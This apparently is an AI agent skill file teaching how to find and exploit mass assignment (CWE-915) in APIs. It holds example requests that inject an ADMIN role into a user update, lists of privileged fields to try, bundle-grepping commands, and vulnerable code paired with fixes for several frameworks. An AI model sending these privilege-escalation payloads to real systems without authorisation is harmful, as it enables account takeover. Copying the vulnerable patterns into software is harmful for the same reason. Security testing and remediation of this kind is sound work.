| name | mass-assignment-cwe-915 |
| description | How to find and exploit mass assignment vulnerabilities (CWE-915) for privilege escalation. Use this skill whenever you need to test APIs for insecure object binding, when analyzing self-service endpoints like /api/users/{id} or /profile, when you see JSON responses echoing server-managed fields like roles, isAdmin, status, or permissions, or when you want to enumerate bindable schema from client bundles. Make sure to use this skill for any API security testing involving user profile updates, order modifications, or any PUT/PATCH endpoints that accept JSON bodies. |
Mass Assignment (CWE-915) Testing
Mass assignment (insecure object binding) occurs when an API binds user-supplied JSON directly to server-side models without field allow-listing. This enables privilege escalation by setting fields like roles, isAdmin, status, or ownership attributes.
Quick Start
- Find candidate endpoints - Look for self-service update routes
- Enumerate schema - Send safe update, observe response structure
- Test exploitation - Add privileged fields to request body
- Verify access - Re-authenticate and check for elevated privileges
1. Finding Mass Assignment Candidates
Target Endpoints
Focus on self-service update endpoints:
PUT/PATCH /api/users/{id}
PATCH /me, PUT /profile
PUT /api/orders/{id}
POST /api/settings
- Any endpoint that updates user-owned resources
Heuristics That Indicate Vulnerability
- Response echoes server-managed fields (
roles, status, isAdmin, permissions) even when not sent
- Client bundles contain role names/IDs or privileged attribute names
- Backend accepts unknown fields without rejection
- Framework uses automatic binding (Rails, Laravel, Django ORM, Spring/Jackson, Express/Mongoose)
Schema Enumeration
Send a normal update with only safe fields to reveal the full schema:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}
Analyze the response - Look for fields you didn't send:
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}
2. Exploitation - Role Escalation
Once you identify bindable privileged fields, include them in your update request:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}
If successful:
- Response persists the role change
- Re-authenticate or refresh tokens to realize new privileges
- Check for new UI elements, admin endpoints, or elevated permissions
Common Privileged Fields to Test
roles, role, role_id, roleIds
isAdmin, is_admin, admin, admin_flag
status, account_status, user_status
permissions, permission_ids, feature_flags
owner_id, team_id, organization_id
verified, is_verified, email_verified
balance, credit, points, currency
3. Client Bundle Recon
Extract role names, IDs, and schema hints from JavaScript bundles:
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u
grep -oE '"(role|admin|permission|status)[^"]*"' app.*.js | sort -u
grep -oE 'role.*[0-9]+' app.*.js | head -20
grep -oE 'role.*:.*\{[^}]+\}' app.*.js | head -10
What to look for:
- Role name constants (ADMIN, STAFF, MODERATOR)
- Dropdown option lists with role values
- Validation schemas showing expected field names
- API client code showing request/response shapes
4. Framework-Specific Patterns
Node.js (Express + Mongoose)
Vulnerable:
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});
Test: Send roles or isAdmin in body - if persisted, vulnerable.
Fix: Use allow-list extraction:
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
Ruby on Rails
Vulnerable:
def update
@user.update(params[:user])
end
Test: Include role or is_admin in params - if persisted, vulnerable.
Fix: Strong parameters:
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end
Laravel (Eloquent)
Vulnerable:
protected $guarded = [];
Test: Send any field in JSON body - if persisted, vulnerable.
Fix: Explicit fillable:
protected $fillable = ['first_name', 'last_name', 'nick_name'];
Spring Boot (Jackson)
Vulnerable:
public User update(@PathVariable Long id, @RequestBody User u) {
return repo.save(u);
}
Test: Send roles or admin fields - if persisted, vulnerable.
Fix: Use DTO with only allowed fields:
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
5. Testing Workflow
Step-by-Step Process
- Identify endpoints - Find all PUT/PATCH routes that update user resources
- Baseline request - Send update with only safe fields, capture full response
- Schema analysis - Note all server-managed fields in response
- Payload crafting - Build test payloads with each privileged field
- Exploitation attempt - Send crafted payloads, check if changes persist
- Verification - Re-authenticate, check for elevated access
- Documentation - Record vulnerable endpoints and payloads
Quick Test Script
Use the scripts/find-mass-assignment-fields.sh script to extract potential target fields from client bundles:
./scripts/find-mass-assignment-fields.sh <bundle-file.js>
6. Reporting
When documenting mass assignment vulnerabilities:
- Endpoint - Full URL and HTTP method
- Vulnerable fields - List of fields that can be modified
- Impact - What privileges can be escalated (e.g., user → admin)
- Proof of concept - Request/response showing exploitation
- Remediation - Framework-specific fix recommendations
References